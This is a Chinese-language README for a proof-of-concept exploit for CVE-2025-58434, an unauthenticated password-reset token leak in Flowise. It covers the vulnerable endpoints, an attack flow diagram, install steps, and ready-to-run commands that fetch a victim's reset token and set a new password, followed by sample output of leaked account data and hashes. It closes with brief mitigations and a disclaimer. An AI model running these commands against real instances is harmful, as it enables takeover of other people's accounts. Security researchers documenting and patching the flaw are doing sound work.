Flowise(包括云端和自托管版本)的 forgot-password 端点在 HTTP 响应体中直接返回有效的密码重置令牌 (tempToken) —— 完全无需电子邮件验证或身份认证。
这意味着只要攻击者知晓(或能猜到)受害者的电子邮件地址,即可:
forgot-password 端点 → 在 JSON 响应中获取 tempTokentempToken 调用 reset-password → 设置任意新密码无需预先访问权限,无需用户交互,也无需电子邮件访问权限。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2025-58434 |
| CVSS 分数 | 9.8(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: 弱密码恢复机制 |
| 类型 | 认证绕过 / 不安全的直接对象引用 |
| 受影响应用 | Flowise(云端 + 自托管) |
| 端点 1 | POST /api/v1/account/forgot-password |
| 端点 2 | POST /api/v1/account/reset-password |
forgot-password 处理程序将完整的用户记录——包括生成的 tempToken——直接返回在 API 响应中,而不是仅将其发送至用户注册的电子邮件地址。
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
攻击者 Flowise API
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (生成 tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (密码已更改!) │
│ │
✓ 账户接管完成
cloud.flowiseai.com) — 确认受影响查看官方 Flowise GitHub了解已修复的版本信息。
CVE-2025-58434/
├── cve_2025_58434_poc.py # 主 PoC 脚本(两阶段 ATO)
├── requirements.txt # Python 依赖
├── README.md # 本文件
└── DISCLAIMER.md # 法律声明(使用前请阅读)
requests 库# 克隆仓库
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# 安装依赖
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
确认实例存在漏洞并获取 tempToken,不重置任何密码。
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
利用泄露的令牌立即重置密码。
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
| 标志 | 缩写 | 描述 | 默认值 |
|---|---|---|---|
--url URL | -u | Flowise 实例的基础 URL | (必填) |
--email EMAIL | -e | 目标账户的电子邮件地址 | (必填) |
--reset | -r | 执行第二阶段:使用泄露的令牌重置密码 | False |
--new-password PASS | -p | 要设置的新密码(与 --reset 配合使用) | Changeme@2025! |
--timeout SECONDS | -t | HTTP 请求超时时间 | 10 |
--json-output | -j | 将原始 JSON API 响应打印到标准输出 | False |
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : [email protected]
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
如果你是 Flowise 实例的运维人员,请立即应用以下缓解措施:
forgot-password 均返回相同的成功消息 —— 这还可以防止账户枚举。forgot-password 端点添加速率限制。| 日期 | 事件 |
|---|---|
| 2025-08-19 | 发现并报告漏洞 |
| 待定 | 厂商确认 |
| 待定 | 发布补丁 |
| 待定 | 公开披露 |
本项目仅用于教育目的和授权的渗透测试。